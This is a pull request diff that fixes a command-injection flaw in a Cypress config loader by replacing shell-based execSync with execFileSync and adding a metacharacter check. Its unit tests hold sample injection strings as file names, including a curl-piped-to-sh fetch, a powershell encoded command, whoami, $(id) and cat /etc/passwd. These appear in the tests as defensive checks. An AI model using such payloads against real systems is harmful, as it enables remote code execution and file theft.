Merge pull request #1080 from browserstack/fix/APS-18613-command-injection-cypress-config

[APS-18613] fix: prevent command injection via cypress_config_file in loadJsFile

Author: karanshah-browserstack

bin/helpers/readCypressConfigUtil.js

@@ -8,6 +8,26 @@ const constants = require("./constants");
 const utils = require("./utils");
 const logger = require('./logger').winstonLogger;
 
+// Defense-in-depth: reject file paths containing shell metacharacters.
+// This guards against command injection even if execFileSync is ever
+// replaced with a shell-based exec in the future.
+//
+// Note: backslash (\) is intentionally NOT included here because it is a
+// legitimate path separator on Windows (e.g. C:\Users\me\cypress.config.js).
+// The actual security boundary is execFileSync (no shell), not this regex.
+const DANGEROUS_PATH_CHARS = /[;"`$|&(){}]/;
+
+function validateFilePath(filepath) {
+    if (DANGEROUS_PATH_CHARS.test(filepath)) {
+        throw new Error(
+            `Invalid cypress config file path: "${filepath}" contains disallowed characters. ` +
+            'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { }'
+        );
+    }
+}
+
+exports.validateFilePath = validateFilePath;
+
 exports.detectLanguage = (cypress_config_filename) => {
     const extension = cypress_config_filename.split('.').pop()
     return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js'
@@ -186,13 +206,29 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module
 }
 
 exports.loadJsFile =  (cypress_config_filepath, bstack_node_modules_path) => {
-    const require_module_helper_path = path.join(__dirname, 'requireModule.js')
-    let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"`
-    if (/^win/.test(process.platform)) {
-        load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"`
+    // Security: validate file path to reject shell metacharacters (defense-in-depth)
+    validateFilePath(cypress_config_filepath);
+
+    // UX: surface a clear error if the cypress config file is missing.
+    // (This is purely a UX check — the security boundary is execFileSync above
+    // plus the metacharacter regex; existsSync alone would NOT prevent injection.)
+    if (!fs.existsSync(cypress_config_filepath)) {
+        throw new Error(`Cypress config file not found at: ${cypress_config_filepath}`);
     }
-    logger.debug(`Running: ${load_command}`)
-    cp.execSync(load_command)
+
+    const require_module_helper_path = path.join(__dirname, 'requireModule.js')
+
+    // Security fix: use execFileSync instead of execSync to avoid shell interpolation.
+    // execFileSync spawns the process directly without a shell, so user-controlled
+    // values in cypress_config_filepath cannot break out into shell commands.
+    const execOptions = {
+        env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
+    };
+    const args = [require_module_helper_path, cypress_config_filepath];
+
+    logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`);
+    cp.execFileSync('node', args, execOptions);
+
     const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString())
     if (fs.existsSync(config.configJsonFileName)) {
         fs.unlinkSync(config.configJsonFileName)

test/unit/bin/helpers/readCypressConfigUtil.js

@@ -40,26 +40,83 @@ describe("readCypressConfigUtil", () => {
         });
     });
 
+    describe('validateFilePath', () => {
+        it('should accept a normal file path', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw();
+        });
+
+        it('should accept paths with spaces', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw();
+        });
+
+        it('should accept Windows absolute paths with backslashes', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('C:\\Users\\test\\cypress.config.js')).to.not.throw();
+        });
+
+        it('should accept Windows absolute paths with spaces and backslashes (Program Files)', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('C:\\Program Files\\my app\\cypress.config.js')).to.not.throw();
+        });
+
+        it('should accept Windows relative paths with backslashes', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('.\\subdir\\cypress.config.js')).to.not.throw();
+        });
+
+        it('should accept UNC-style Windows paths', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('\\\\server\\share\\cypress.config.js')).to.not.throw();
+        });
+
+        it('should reject paths with semicolons (command injection)', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js'))
+                .to.throw(/disallowed characters/);
+        });
+
+        it('should reject paths with ampersands (Windows command injection)', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js'))
+                .to.throw(/disallowed characters/);
+        });
+
+        it('should reject paths with backticks (subshell injection)', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js'))
+                .to.throw(/disallowed characters/);
+        });
+
+        it('should reject paths with dollar signs (variable expansion)', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js'))
+                .to.throw(/disallowed characters/);
+        });
+
+        it('should reject paths with pipe characters', () => {
+            expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd'))
+                .to.throw(/disallowed characters/);
+        });
+    });
+
     describe('loadJsFile', () => {
-        it('should load js file', () => {
-            const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
+        it('should load js file using execFileSync', () => {
+            const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
             const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
             const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
             const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
             const requireModulePath = path.join(__dirname, '../../../../', 'bin', 'helpers', 'requireModule.js');
-            
+
             const result =  readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
-            
+
             expect(result).to.eql({ e2e: {} });
-            sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`);
+            // Verify execFileSync is called with 'node' as first arg and array of args
+            sinon.assert.calledOnce(execFileStub);
+            expect(execFileStub.getCall(0).args[0]).to.eql('node');
+            expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
+            // Verify NODE_PATH is passed via env option
+            expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
             sinon.assert.calledOnce(readFileSyncStub);
             sinon.assert.calledOnce(unlinkSyncSyncStub);
-            sinon.assert.calledOnce(existsSyncStub);
+            // existsSync is now called twice: once for the file-not-found UX check, once for the unlink cleanup
+            sinon.assert.calledTwice(existsSyncStub);
         });
 
-        it('should load js file for win', () => {
+        it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => {
             sinon.stub(process, 'platform').value('win32');
-            const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
+            const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
             const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
             const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
             const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
@@ -68,10 +125,52 @@ describe("readCypressConfigUtil", () => {
             const result =  readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
 
             expect(result).to.eql({ e2e: {} });
-            sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`);
+            // Same call signature on Windows - execFileSync handles cross-platform
+            sinon.assert.calledOnce(execFileStub);
+            expect(execFileStub.getCall(0).args[0]).to.eql('node');
+            expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
+            expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
             sinon.assert.calledOnce(readFileSyncStub);
             sinon.assert.calledOnce(unlinkSyncSyncStub);
-            sinon.assert.calledOnce(existsSyncStub);
+            // existsSync called twice: file-not-found UX check + unlink cleanup
+            sinon.assert.calledTwice(existsSyncStub);
+        });
+
+        it('should accept Windows-style absolute paths in loadJsFile (no rejection)', () => {
+            sandbox.stub(cp, "execFileSync").returns("random string");
+            sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
+            sandbox.stub(fs, 'existsSync').returns(true);
+            sandbox.stub(fs, 'unlinkSync');
+
+            // None of these should throw
+            expect(() => readCypressConfigUtil.loadJsFile('C:\\Users\\test\\cypress.config.js', 'path/to/tmpBstackPackages'))
+                .to.not.throw();
+            expect(() => readCypressConfigUtil.loadJsFile('C:\\Program Files\\my app\\cypress.config.js', 'path/to/tmpBstackPackages'))
+                .to.not.throw();
+            expect(() => readCypressConfigUtil.loadJsFile('.\\subdir\\cypress.config.js', 'path/to/tmpBstackPackages'))
+                .to.not.throw();
+        });
+
+        it('should throw a clear error when the cypress config file does not exist (UX)', () => {
+            sandbox.stub(fs, 'existsSync').returns(false);
+            const execFileStub = sandbox.stub(cp, "execFileSync");
+
+            expect(() => readCypressConfigUtil.loadJsFile('path/to/missing/cypress.config.js', 'path/to/tmpBstackPackages'))
+                .to.throw(/Cypress config file not found at:/);
+            // execFileSync must NOT be invoked when the file is missing
+            sinon.assert.notCalled(execFileStub);
+        });
+
+        it('should reject file paths containing command injection characters', () => {
+            const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js';
+            expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
+                .to.throw(/disallowed characters/);
+        });
+
+        it('should reject Windows command injection payloads', () => {
+            const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js';
+            expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
+                .to.throw(/disallowed characters/);
         });
     });